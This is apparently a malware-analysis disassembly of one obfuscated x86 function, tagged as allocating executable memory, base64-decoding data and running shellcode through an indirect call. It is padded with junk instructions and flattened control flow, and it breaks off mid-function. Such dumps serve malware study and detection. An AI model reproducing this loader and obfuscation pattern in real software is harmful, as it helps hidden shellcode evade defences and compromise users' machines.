Function at 0x408080
Capabilities:
Allocate or change rwx memory
Encode data using base64
Execute shellcode via indirect call

Disassembly:
lea esi, [esi]
push ebp
lea edi, [edi]
nop
mov ebp, esp
nop
lea esi, [esi]
push ebx
lea esi, [esi]
lea esi, [esi]
push edi
lea edi, [edi]
push esi
add esi, 0x56
nop
sub esi, 0x56
mov esp, esp
sub esp, 0x278
lea edi, [edi]
mov eax, dword [ebp + 0x10]
nop
lea edi, [edi]
lea edi, [edi]
mov ecx, dword [ebp + 0xc]
mov ebp, ebp
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], eax
mov esp, esp
mov dword [ebp - 0x74], ecx
lea esi, [esi]
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov ebp, ebp
lea edi, [edi]
lea esi, [esi]
mov dword [ebp - 0x80], 0
mov ebp, ebp
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x84], 0
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x88], 0
mov esp, esp
mov dword [ebp - 0x8c], 0
lea edi, [edi]
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov ebp, ebp
mov dword [ebp - 0x98], 0
mov esp, esp
mov dword [ebp - 0x9c], 0
nop
mov dword [ebp - 0xa0], 0
lea esi, [esi]
mov dword [ebp - 0xb4], 0
mov ebp, ebp
mov dword [ebp - 0xb8], 0
lea edi, [edi]
mov dword [ebp - 0xcc], 0
nop
mov eax, dword [ebp - 0x78]
lea esi, [esi]
mov dword [ebp - 0x68], eax
mov ebp, ebp
mov dword [ebp - 0xd0], 0xf8545065
mov ebp, ebp
lea edi, [edi]
mov eax, dword [ebp - 0xd0]
lea edi, [edi]
mov ecx, eax
lea esi, [esi]
sub ecx, 0x8fb0cda5
nop
nop
mov ebp, ebp
mov dword [ebp - 0xd4], eax
mov esp, esp
mov dword [ebp - 0xd8], ecx
lea esi, [esi]
mov ebp, ebp
jg 0x4081d5
jmp 0x4081af
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
sub eax, 0x823b1d79
lea esi, [esi]
mov esp, esp
mov dword [ebp - 0xdc], eax
lea edi, [edi]
je 0x40a68a
jmp 0x408c60
mov eax, dword [ebp - 0xd4]
nop
add edi, 0x14
nop
sub edi, 0x14
sub eax, 0x9b032712
nop
mov esp, esp
mov dword [ebp - 0xe0], eax
lea edi, [edi]
jg 0x408240
jmp 0x408204
mov esp, esp
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
mov esp, esp
lea esi, [esi]
mov esp, esp
add eax, 0x45
push edi
pop edi
sub eax, 0x45
sub eax, 0x8fb0cda6
mov esp, esp
mov ebp, ebp
mov dword [ebp - 0xe4], eax
lea esi, [esi]
lea edi, [edi]
je 0x40a814
jmp 0x408c60
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
nop
sub eax, 0xa00ae45d
mov ebp, ebp
mov ebp, ebp
mov ebp, ebp
mov dword [ebp - 0xe8], eax
nop
jg 0x40828c
jmp 0x408266
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
sub eax, 0x9b032713
mov dword [ebp - 0xec], eax
mov esp, esp
mov esp, esp
je 0x409414
jmp 0x408c60
mov esp, esp
mov ebp, ebp
nop
mov eax, dword [ebp - 0xd4]
add edi, 0x1a
sub edi, 0x1a
sub eax, 0xa5fb53e5
nop
lea edi, [edi]
mov dword [ebp - 0xf0], eax
lea edi, [edi]
nop
mov ebp, ebp
jg 0x4082e6
jmp 0x4082c1
lea edi, [edi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
mov ebp, ebp
sub eax, 0xa00ae45e
nop
mov dword [ebp - 0xf4], eax
je 0x408cca
jmp 0x408c60
mov ebp, ebp
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
sub eax, 0xaaab91c1
mov dword [ebp - 0xf8], eax
mov esp, esp
lea edi, [edi]
jg 0x40833f
jmp 0x40830a
mov esp, esp
mov eax, dword [ebp - 0xd4]
nop
nop
add edi, 2
push edx
pop edx
sub edi, 2
sub eax, 0xa5fb53e6
nop
mov esp, esp
mov dword [ebp - 0xfc], eax
lea esi, [esi]
mov esp, esp
je 0x409f5f
jmp 0x408c60
nop
nop
nop
mov eax, dword [ebp - 0xd4]
nop
mov ebp, ebp
lea esi, [esi]
sub eax, 0xb3891a78
mov esp, esp
mov dword [ebp - 0x100], eax
mov esp, esp
lea esi, [esi]
jg 0x40838d
jmp 0x408369
mov esp, esp
mov eax, dword [ebp - 0xd4]
sub eax, 0xaaab91c2
mov dword [ebp - 0x104], eax
mov esp, esp
lea esi, [esi]
mov ebp, ebp
je 0x40a739
jmp 0x408c60
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
add edx, 0x5b
push edx
or edx, eax
sar edx, 0x25
pop edx
sub edx, 0x5b
mov esp, esp
sub eax, 0xb8d8374c
lea edi, [edi]
mov dword [ebp - 0x108], eax
mov ebp, ebp
lea esi, [esi]
jg 0x408402
jmp 0x4083c8
nop
lea edi, [edi]
push eax
pop eax
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
mov esp, esp
push esi
sub esi, 0x3f
and esi, dword [ebp - 0xc]
mov esi, edi
pop esi
sub eax, 0xb3891a79
lea edi, [edi]
mov esp, esp
mov dword [ebp - 0x10c], eax
lea edi, [edi]
lea edi, [edi]
je 0x40a839
jmp 0x408c60
mov ebp, ebp
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
add eax, 0x32
add ecx, 0x55
add edi, 6
add ecx, 0x17
sub ecx, 0x17
sub edi, 6
sub ecx, 0x55
sub eax, 0x32
sub eax, 0xbf78b880
lea esi, [esi]
mov esp, esp
mov dword [ebp - 0x110], eax
jg 0x408499
jmp 0x408456
mov esp, esp
mov ebp, ebp
nop
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
lea edi, [edi]
lea esi, [esi]
add ecx, 0x14
push edx
xor edx, esi
xor edx, dword [ebp - 0x10]
or edx, ecx
sub edx, dword [ebp - 0x18]
pop edx
sub ecx, 0x14
sub eax, 0xb8d8374d
mov esp, esp
mov dword [ebp - 0x114], eax
mov ebp, ebp
je 0x40a666
jmp 0x408c60
mov eax, dword [ebp - 0xd4]
mov esp, esp
add ecx, 0x34
push eax
shr eax, 0x26
shr eax, 0x24
sub eax, ebx
pop eax
sub ecx, 0x34
sub eax, 0xd3349b86
mov esp, esp
lea esi, [esi]
lea esi, [esi]
mov dword [ebp - 0x118], eax
mov ebp, ebp
lea edi, [edi]
jg 0x4084fe
jmp 0x4084d7
lea esi, [esi]
mov ebp, ebp
mov eax, dword [ebp - 0xd4]
nop
sub eax, 0xbf78b881
lea esi, [esi]
mov dword [ebp - 0x11c], eax
mov esp, esp
lea esi, [esi]
je 0x409435
jmp 0x408c60
lea edi, [edi]
nop
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
nop
sub eax, 0xd9993033
mov esp, esp
lea edi, [edi]
mov dword [ebp - 0x120], eax
nop
jg 0x40854e
jmp 0x408525
lea esi, [esi]
nop
mov eax, dword [ebp - 0xd4]
mov esp, esp
lea esi, [esi]
sub eax, 0xd3349b87
lea edi, [edi]
mov dword [ebp - 0x124], eax
lea esi, [esi]
mov ebp, ebp
je 0x408c97
jmp 0x408c60
lea edi, [edi]
nop
nop
mov eax, dword [ebp - 0xd4]
mov esp, esp
sub eax, 0xe63f3e65
mov dword [ebp - 0x128], eax
jg 0x4085af
jmp 0x408570
mov ebp, ebp
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
nop
add edi, 0x43
push ebx
shl ebx, 0x2d
or ebx, edx
pop ebx
sub edi, 0x43
sub eax, 0xd9993034
nop
lea esi, [esi]
mov dword [ebp - 0x12c], eax
lea edi, [edi]
mov esp, esp
je 0x40a7ff
jmp 0x408c60
nop
lea edi, [edi]
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
nop
add edi, 0x60
push esi
add esi, edi
or esi, edx
xor esi, ecx
pop esi
sub edi, 0x60
sub eax, 0x7919d353
lea esi, [esi]
mov dword [ebp - 0x130], eax
mov esp, esp
jg 0x408c38
jmp 0x4085eb
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
nop
nop
sub eax, 0x746e7e6b
lea edi, [edi]
nop
mov dword [ebp - 0x134], eax
lea esi, [esi]
nop
jg 0x408c0d
jmp 0x408613
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
add eax, 0x8cd74004
nop
mov dword [ebp - 0x138], eax
mov ebp, ebp
jg 0x408be1
jmp 0x408635
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
nop
add esi, 0x2b
sub esi, 0x2b
mov ebp, ebp
sub eax, 0x6dcbc206
mov esp, esp
lea esi, [esi]
lea edi, [edi]
mov dword [ebp - 0x13c], eax
mov esp, esp
nop
jg 0x408bc1
jmp 0x40866b
mov esp, esp
mov eax, dword [ebp - 0xd4]
nop
mov esp, esp
lea esi, [esi]
push eax
add eax, 0x39
push ebx
xor ebx, edx
add ebx, eax
mov ebx, esi
or ebx, edi
add ebx, dword [ebp - 8]
pop ebx
sub eax, 0x39
mov eax, edi
sar eax, 0x3b
pop eax
sub eax, 0x5f62a790
mov ebp, ebp
mov dword [ebp - 0x140], eax
mov esp, esp
jg 0x408b80
jmp 0x4086b2
lea edi, [edi]
mov esp, esp
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
lea esi, [esi]
push edx
pop edx
sub eax, 0x570633c3
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0x144], eax
lea esi, [esi]
mov ebp, ebp
jg 0x408b4c
jmp 0x4086e0
lea esi, [esi]
nop
add eax, 0x10
add esi, 4
add edi, 9
add ebx, 4
push edx
sub edx, edi
or edx, dword [ebp - 0xc]
push ebx
and ebx, dword [ebp - 8]
xor ebx, dword [ebp - 0x18]
xor ebx, dword [ebp - 0x14]
mov ebx, esi
and ebx, dword [ebp - 0x18]
pop ebx
xor edx, dword [ebp - 0x18]
push edx
pop edx
pop edx
sub ebx, 4
sub edi, 9
sub esi, 4
sub eax, 0x10
mov eax, dword [ebp - 0xd4]
sub eax, 0x4ccc01c0
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0x148], eax
jg 0x408b08
jmp 0x40874f
mov esp, esp
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
nop
lea edi, [edi]
sub eax, 0x45fc5102
lea esi, [esi]
mov ebp, ebp
mov dword [ebp - 0x14c], eax
mov esp, esp
nop
mov ebp, ebp
jg 0x408ae3
jmp 0x40877b
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
add esi, 0x5a
sub esi, 0x5a
sub eax, 0x439d053c
mov esp, esp
lea edi, [edi]
mov dword [ebp - 0x150], eax
mov ebp, ebp
jg 0x408aa9
jmp 0x4087ab
nop
mov esp, esp
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
lea edi, [edi]
push edx
sub edx, ebx
xor edx, dword [ebp - 8]
add edx, dword [ebp - 0x10]
sub edx, dword [ebp - 0x14]
pop edx
sub eax, 0x2e455de7
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x154], eax
lea edi, [edi]
jg 0x408a65
jmp 0x4087e1
lea edi, [edi]
lea edi, [edi]
lea edi, [edi]
add edx, 0x38
push edx
xor edx, esi
xor edx, 0x51
pop edx
sub edx, 0x38
mov eax, dword [ebp - 0xd4]
sub eax, 0x27c3af4b
lea edi, [edi]
mov dword [ebp - 0x158], eax
mov esp, esp
jg 0x408a34
jmp 0x40881d
lea esi, [esi]
mov esp, esp
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
sub eax, 0x23585d48
lea esi, [esi]
mov dword [ebp - 0x15c], eax
mov ebp, ebp
jg 0x408a0b
jmp 0x408843
mov esp, esp
mov esp, esp
mov eax, dword [ebp - 0xd4]
sub eax, 0x12a50d4b
mov ebp, ebp
lea esi, [esi]
mov dword [ebp - 0x160], eax
mov esp, esp
nop
jg 0x4089e6
jmp 0x40886a
mov ebp, ebp
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
add esi, 0x5a
push edi
mov edi, esi
add edi, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
add edi, 0x50
pop edi
sub esi, 0x5a
sub eax, 0x19f6d9
lea edi, [edi]
mov ebp, ebp
mov dword [ebp - 0x164], eax
mov esp, esp
mov esp, esp
jg 0x408988
jmp 0x4088ae
lea esi, [esi]
mov esp, esp
mov eax, dword [ebp - 0xd4]
sub eax, 0xfab7ca53
mov esp, esp
mov dword [ebp - 0x168], eax
lea edi, [edi]
jg 0x408948
jmp 0x4088d2
lea edi, [edi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
mov esp, esp
lea edi, [edi]
sub eax, 0xe63f3e66
mov dword [ebp - 0x16c], eax
lea esi, [esi]
je 0x409921
jmp 0x4088fa
mov esp, esp
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
lea edi, [edi]
sub eax, 0xe687b4f4
mov dword [ebp - 0x170], eax
mov esp, esp
je 0x409504
jmp 0x40891e
lea esi, [esi]
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
sub eax, 0xf8545065
mov esp, esp
mov esp, esp
mov dword [ebp - 0x174], eax
mov esp, esp
mov ebp, ebp
mov ebp, ebp
je 0x408c65
jmp 0x408c60
mov ebp, ebp
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
lea edi, [edi]
lea edi, [edi]
add ebx, 0x46
add ecx, 0x31
sub ecx, 0x31
sub ebx, 0x46
sub eax, 0xfab7ca54
mov ebp, ebp
mov dword [ebp - 0x178], eax
lea esi, [esi]
je 0x40a795
jmp 0x408c60
nop
nop
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
add edx, 0x5f
add esi, 0x24
add ecx, 0x1c
push ecx
and ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 8]
and ecx, 0x11
and ecx, eax
sub ecx, edx
pop ecx
sub ecx, 0x1c
sub esi, 0x24
sub edx, 0x5f
sub eax, 0x19f6da
lea esi, [esi]
mov esp, esp
mov esp, esp
mov dword [ebp - 0x17c], eax
mov ebp, ebp
je 0x4091de
jmp 0x408c60
nop
nop
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
nop
sub eax, 0x12a50d4c
lea esi, [esi]
mov dword [ebp - 0x180], eax
mov ebp, ebp
je 0x40a69f
jmp 0x408c60
mov esp, esp
mov ebp, ebp
mov eax, dword [ebp - 0xd4]
mov esp, esp
nop
sub eax, 0x23585d49
lea esi, [esi]
nop
mov dword [ebp - 0x184], eax
mov esp, esp
nop
je 0x40a561
jmp 0x408c60
lea edi, [edi]
mov esp, esp
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
nop
nop
push edx
add edx, 0x1c
and edx, esi
pop edx
sub eax, 0x27c3af4c
mov dword [ebp - 0x188], eax
nop
lea edi, [edi]
je 0x40a158
jmp 0x408c60
mov esp, esp
lea esi, [esi]
lea edi, [edi]
add edx, 0xd
add edx, 0x3d
sub edx, 0x3d
sub edx, 0xd
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
sub eax, 0x2e455de8
lea esi, [esi]
mov dword [ebp - 0x18c], eax
mov ebp, ebp
mov ebp, ebp
lea edi, [edi]
je 0x40a142
jmp 0x408c60
nop
nop
nop
mov eax, dword [ebp - 0xd4]
mov esp, esp
push edx
sub edx, dword [ebp - 0x14]
add ecx, 0x26
sub ecx, 0x26
sar edx, 0x12
pop edx
sub eax, 0x439d053d
mov esp, esp
nop
mov dword [ebp - 0x190], eax
mov esp, esp
je 0x40a513
jmp 0x408c60
nop
lea edi, [edi]
nop
mov eax, dword [ebp - 0xd4]
nop
sub eax, 0x45fc5103
mov esp, esp
mov dword [ebp - 0x194], eax
mov esp, esp
je 0x409bc3
jmp 0x408c60
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
add edi, 0x4f
push ecx
pop ecx
sub edi, 0x4f
mov ebp, ebp
mov ebp, ebp
add ecx, 0x44
sub ecx, 0x44
sub eax, 0x4ccc01c1
lea edi, [edi]
mov dword [ebp - 0x198], eax
mov ebp, ebp
mov esp, esp
lea edi, [edi]
je 0x4091b4
jmp 0x408c60
nop
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
mov esp, esp
push edx
and edx, 0x2e
shr edx, 0x33
pop edx
mov esp, esp
sub eax, 0x570633c4
mov dword [ebp - 0x19c], eax
mov esp, esp
lea edi, [edi]
je 0x409159
jmp 0x408c60
lea esi, [esi]
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
push ebx
push eax
sub eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x18]
add eax, ebx
xor eax, esi
or eax, dword [ebp - 0x14]
pop eax
shl ebx, 0x3e
sub ebx, edi
sub ebx, dword [ebp - 0xc]
pop ebx
mov ebp, ebp
sub eax, 0x5f62a791
mov ebp, ebp
lea esi, [esi]
mov dword [ebp - 0x1a0], eax
mov esp, esp
je 0x409532
jmp 0x408c60
mov eax, dword [ebp - 0xd4]
lea esi, [esi]
nop
add eax, 0x92343df9
mov dword [ebp - 0x1a4], eax
je 0x408d09
jmp 0x408c60
nop
nop
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
nop
push edi
pop edi
mov ebp, ebp
add eax, 0x8cd74003
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0x1a8], eax
mov ebp, ebp
je 0x408d2d
jmp 0x408c60
lea edi, [edi]
mov eax, dword [ebp - 0xd4]
push ecx
and ecx, dword [ebp - 0x14]
sub ecx, ebx
pop ecx
mov esp, esp
sub eax, 0x746e7e6c
mov ebp, ebp
mov dword [ebp - 0x1ac], eax
mov esp, esp
je 0x40a4ed
jmp 0x408c60
nop
mov eax, dword [ebp - 0xd4]
mov ebp, ebp
lea esi, [esi]
sub eax, 0x7919d354
mov esp, esp
mov dword [ebp - 0x1b0], eax
nop
mov ebp, ebp
lea esi, [esi]
je 0x40917a
jmp 0x408c60
jmp 0x40a85a
mov esp, esp
mov esp, esp
mov eax, 0xd3349b87
lea esi, [esi]
mov ecx, 0x6dcbc207
lea edi, [edi]
mov edx, dword [ebp - 0x68]
nop
mov esp, esp
cmp edx, 0
lea edi, [edi]
lea esi, [esi]
cmove eax, ecx
lea edi, [edi]
mov dword [ebp - 0xd0], eax
jmp 0x40a85a
nop
mov eax, 0xa00ae45e
lea esi, [esi]
lea esi, [esi]
mov ecx, 0x6dcbc207
lea esi, [esi]
mov esp, esp
cmp dword [ebp - 0x74], 0
lea esi, [esi]
lea esi, [esi]
cmove eax, ecx
mov esp, esp
nop
mov dword [ebp - 0xd0], eax
mov ebp, ebp
lea esi, [esi]
jmp 0x40a85a
lea edi, [edi]
lea edi, [edi]
mov eax, 0x7328bffd
lea edi, [edi]
nop
mov ecx, 0x6dcbc207
mov esp, esp
add eax, 0x46
sub eax, 0x46
mov esp, esp
push ecx
pop ecx
cmp dword [ebp - 0x70], 0
nop
cmove eax, ecx
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0xd0], eax
mov esp, esp
jmp 0x40a85a
mov esp, esp
nop
nop
mov dword [ebp - 0x6c], 0
lea edi, [edi]
mov ebp, ebp
lea edi, [edi]
mov dword [ebp - 0xd0], 0xb3891a79
lea esi, [esi]
lea edi, [edi]
jmp 0x40a85a
mov esp, esp
lea esi, [esi]
mov eax, dword [ebp - 0x78]
mov ebp, ebp
mov ebp, ebp
mov dword [ebp - 0x5c], eax
lea edi, [edi]
mov dword [ebp - 0x60], 0
mov esp, esp
lea edi, [edi]
mov dword [ebp - 0x64], 0x5da3872f
lea esi, [esi]
mov esp, esp
mov eax, dword [ebp - 0x64]
mov ecx, eax
lea edi, [edi]
nop
sub ecx, 0x12b53d4
nop
mov esp, esp
mov dword [ebp - 0x1b4], eax
mov ebp, ebp
mov ebp, ebp
mov dword [ebp - 0x1b8], ecx
jg 0x408da1
jmp 0x408d7f
nop
mov ebp, ebp
mov eax, dword [ebp - 0x1b4]
nop
sub eax, 0xebd1c693
mov dword [ebp - 0x1bc], eax
mov esp, esp
je 0x409088
jmp 0x408f8b
mov ebp, ebp
nop
mov eax, dword [ebp - 0x1b4]
mov ebp, ebp
sub eax, 0x234ca490
mov dword [ebp - 0x1c0], eax
lea edi, [edi]
jg 0x408dec
jmp 0x408dc4
lea edi, [edi]
mov esp, esp
mov eax, dword [ebp - 0x1b4]
lea esi, [esi]
lea edi, [edi]
nop
sub eax, 0x12b53d5
lea edi, [edi]
mov dword [ebp - 0x1c4], eax
nop
je 0x4090fa
jmp 0x408f8b
mov eax, dword [ebp - 0x1b4]
mov ebp, ebp
add eax, 0x22
add eax, 0x1f
push edi
sub edi, dword [ebp - 0xc]
sub edi, dword [ebp - 0x14]
pop edi
sub eax, 0x1f
sub eax, 0x22
mov ebp, ebp
add ebx, 0x12
push edi
pop edi
sub ebx, 0x12
sub eax, 0x30d6098d
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0x1c8], eax
mov esp, esp
mov ebp, ebp
lea esi, [esi]
jg 0x408e7e
jmp 0x408e44
nop
mov ebp, ebp
push edx
and edx, ebx
add edx, dword [ebp - 0xc]
xor edx, dword [ebp - 0x18]
mov edx, dword [ebp - 0xc]
and edx, dword [ebp - 8]
pop edx
mov eax, dword [ebp - 0x1b4]
nop
sub eax, 0x234ca491
mov esp, esp
nop
lea esi, [esi]
mov dword [ebp - 0x1cc], eax
lea edi, [edi]
nop
lea esi, [esi]
je 0x4090cd
jmp 0x408f8b
mov esp, esp
mov ebp, ebp
mov esp, esp
mov eax, dword [ebp - 0x1b4]
lea esi, [esi]
lea edi, [edi]
sub eax, 0x5da3872e
lea edi, [edi]
mov dword [ebp - 0x1d0], eax
mov esp, esp
jg 0x408ed2
jmp 0x408ea8
nop
nop
mov ebp, ebp
mov eax, dword [ebp - 0x1b4]
lea edi, [edi]
nop
sub eax, 0x30d6098e
mov ebp, ebp
nop
mov dword [ebp - 0x1d4], eax
lea edi, [edi]
mov esp, esp
je 0x40900a
jmp 0x408f8b
mov ebp, ebp
nop
push edi
pop edi
mov esp, esp
push ebx
sub ebx, 0x3d
or ebx, 0x34
pop ebx
mov eax, dword [ebp - 0x1b4]
sub eax, 0x5da3872f
mov ebp, ebp
mov ebp, ebp
mov dword [ebp - 0x1d8], eax
mov ebp, ebp
mov esp, esp
je 0x408f90
jmp 0x408f0b
nop
add ecx, 0x49
add esi, 0x27
add ecx, 0x14
push esi
mov esi, dword [ebp - 0x18]
sub esi, dword [ebp - 0x18]
add esi, edi
sub esi, 0x21
add esi, dword [ebp - 8]
pop esi
sub ecx, 0x14
sub esi, 0x27
sub ecx, 0x49
mov eax, dword [ebp - 0x1b4]
sub eax, 0x69549984
mov dword [ebp - 0x1dc], eax
lea edi, [edi]
nop
je 0x4090bb
jmp 0x408f62
lea edi, [edi]
lea esi, [esi]
mov eax, dword [ebp - 0x1b4]
sub eax, 0x7137c478
nop
lea edi, [edi]
mov esp, esp
mov dword [ebp - 0x1e0], eax
mov ebp, ebp
mov esp, esp
je 0x409114
jmp 0x408f8b
jmp 0x40910d
mov esp, esp
mov ebp, ebp
mov eax, 0x12b53d5
nop
lea edi, [edi]
mov ecx, 0x30d6098e
lea esi, [esi]
lea edi, [edi]
add eax, 0x3d
add edi, 0x28
add edx, 0x26
add edi, 0x58
add ecx, 0x5c
sub ecx, 0x5c
sub edi, 0x58
sub edx, 0x26
sub edi, 0x28
sub eax, 0x3d
mov edx, dword [ebp - 0x60]
add esi, 0x2d
sub esi, 0x2d
cmp edx, dword [0x4100c0]
mov ebp, ebp
lea edi, [edi]
cmovb eax, ecx
nop
lea esi, [esi]
mov dword [ebp - 0x64], eax
lea edi, [edi]
jmp 0x40910d
mov esp, esp
mov ebp, ebp
mov ebp, ebp
mov eax, 0x69549984
lea esi, [esi]
mov ebp, ebp
mov ecx, 0xebd1c693
mov esp, esp
mov ebp, ebp
lea edx, [0x410048]
add edx, 0x40
add eax, 0x55
push edx
or edx, dword [ebp - 0x14]
or edx, eax
sub edx, esi
pop edx
sub eax, 0x55
sub edx, 0x40
imul esi, dword [ebp - 0x60], 0xc
mov ebp, ebp
mov ebp, ebp
nop
add edx, esi
nop
mov edx, dword [edx + 4]
lea edi, [edi]
mov ebp, ebp
push edx
xor edx, ebx
and edx, ebx
pop edx
mov esp, esp
add edi, 0x42
sub edi, 0x42
cmp edx, dword [ebp - 0x5c]
nop
cmove eax, ecx
lea edi, [edi]
mov dword [ebp - 0x64], eax
mov esp, esp
mov ebp, ebp
jmp 0x40910d
mov esp, esp
lea eax, [0x410048]
lea esi, [esi]
imul ecx, dword [ebp - 0x60], 0xc
lea esi, [esi]
lea edi, [edi]
add eax, ecx
lea edi, [edi]
lea edi, [edi]
mov dword [ebp - 0x58], eax
mov ebp, ebp
nop
mov dword [ebp - 0x64], 0x7137c478
lea edi, [edi]
lea edi, [edi]
mov ebp, ebp
jmp 0x40910d
mov esp, esp
lea esi, [esi]
mov dword [ebp - 0x64], 0x234ca491
mov ebp, ebp
jmp 0x40910d
lea esi, [esi]
lea esi, [esi]
mov eax, 0
nop
mov ecx, dword [ebp - 0x60]
sub eax, 1
sub ecx, eax
mov ebp, ebp
mov dword [ebp - 0x60], ecx
mov esp, esp
mov esp, esp
mov dword [ebp - 0x64], 0x5da3872f
lea edi, [edi]
lea esi, [esi]
jmp 0x40910d
lea esi, [esi]
mov dword [ebp - 0x58], 0
lea esi, [esi]
nop
mov dword [ebp - 0x64], 0x7137c478
mov esp, esp
jmp 0x408d4f
mov ebp, ebp
lea edi, [edi]
mov eax, 0x7919d354
nop
mov esp, esp
mov ecx, 0x570633c4
nop
mov edx, dword [ebp - 0x58]
lea edi, [edi]
mov dword [ebp - 0x84], edx
lea edi, [edi]
push ecx
and ecx, eax
xor ecx, edi
add ecx, dword [ebp - 0xc]
pop ecx
cmp dword [ebp - 0x84], 0
cmove eax, ecx
lea esi, [esi]
lea esi, [esi]
mov dword [ebp - 0xd0], eax
nop
jmp 0x40a85a
mov ebp, ebp
lea edi, [edi]
mov esp, esp
mov dword [ebp - 0x6c], 0
lea edi, [edi]
mov dword [ebp - 0xd0], 0xb3891a79
mov esp, esp
nop
jmp 0x40a85a
mov esp, esp
nop
mov eax, 0x19f6da
mov esp, esp
mov ecx, 0x4ccc01c1
mov esp, esp
mov ebp, ebp
mov esp, esp
mov edx, dword [ebp - 0x84]
lea esi, [esi]
cmp dword [edx + 8], 0
mov esp, esp
mov ebp, ebp
cmovne eax, ecx
mov ebp, ebp
mov dword [ebp - 0xd0], eax
lea edi, [edi]
jmp 0x40a85a
lea esi, [esi]
nop
mov esp, esp
mov eax, dword [ebp - 0x84]
lea edi, [edi]
mov eax, dword [eax + 8]
mov ebp, ebp
mov dword [ebp - 0x6c], eax
lea edi, [edi]
mov dword [ebp - 0xd0], 0xb3891a79
mov ebp, ebp
lea edi, [edi]
jmp 0x40a85a
mov esp, esp
lea edi, [edi]
mov eax, 0
mov esp, esp
lea ecx, [0x4100c8]
mov ebp, ebp
mov ebp, ebp
mov edx, dword [ebp - 0x84]
push eax
pop eax
mov esp, esp
add ecx, dword [edx]
lea esi, [esi]
mov esp, esp
mov dword [ebp - 0x80], ecx
mov ecx, dword [0x4100c4]
mov ebp, ebp
mov dword [ebp - 0xc8], ecx
nop
mov ecx, dword [ebp - 0x80]
push eax
and eax, dword [ebp - 8]
add eax, dword [ebp - 8]
xor eax, edx
or eax, 0x42
or eax, ebx
pop eax
add ecx, 0x2f
mov esp, esp
lea edi, [edi]
mov dword [ebp - 0x88], ecx
mov esp, esp
mov ecx, dword [ebp - 0x80]
lea edi, [edi]
mov ecx, dword [ecx + 0x23]
shl ecx, 1
lea esi, [esi]
lea esi, [esi]
lea edi, [edi]
push edi
sub edi, dword [ebp - 0xc]
or edi, dword [ebp - 0x14]
add edi, 0x2d
add edi, edx
and edi, 0x51
pop edi
mov edx, dword [ebp - 0x80]
add eax, 0x4e
push edi
add ebx, 0x1e
sub ebx, 0x1e
xor edi, ebx
pop edi
sub eax, 0x4e
mov ebp, ebp
add edx, 0x2f
lea esi, [esi]
lea edi, [edi]
shl ecx, 2
add ecx, 0x4b
push eax
sub eax, edi
sar eax, 0x27
or eax, dword [ebp - 0xc]
pop eax
sub ecx, 0x4b
mov esp, esp
add edx, ecx
mov ebp, ebp
mov ebp, ebp
nop
mov dword [ebp - 0x90], edx
mov esp, esp
mov ebp, ebp
nop
mov ecx, dword [ebp - 0x80]
lea edi, [edi]
lea edi, [edi]
mov ecx, dword [ecx + 0x23]
lea edi, [edi]
nop
shl ecx, 1
mov ebp, ebp
lea edi, [edi]
nop
mov edx, dword [ebp - 0x80]
nop
mov ebp, ebp
mov edx, dword [edx + 0x27]
lea esi, [esi]
shl edx, 1
lea edi, [edi]
add ebx, 0x26
add ebx, 0x35
add eax, 0x28
nop
sub eax, 0x28
sub ebx, 0x35
sub ebx, 0x26
mov ebp, ebp
sub eax, edx
lea edi, [edi]
nop
add ebx, 0x60
add ebx, 0x16
push ebx
mov ebx, dword [ebp - 0x10]
sub ebx, dword [ebp - 0x14]
xor ebx, dword [ebp - 0x18]
or ebx, 0x4a
xor ebx, ecx
pop ebx
sub ebx, 0x16
sub ebx, 0x60
sub ecx, eax
lea edi, [edi]
lea esi, [esi]
mov eax, dword [ebp - 0x80]
lea esi, [esi]
add eax, 0x2f
mov esp, esp
lea edi, [edi]
shl ecx, 2
nop
add eax, ecx
nop
mov ebp, ebp
mov esp, esp
mov dword [ebp - 0x98], eax
lea edi, [edi]
nop
nop
mov eax, dword [ebp - 0x70]
nop
mov ecx, esp
nop
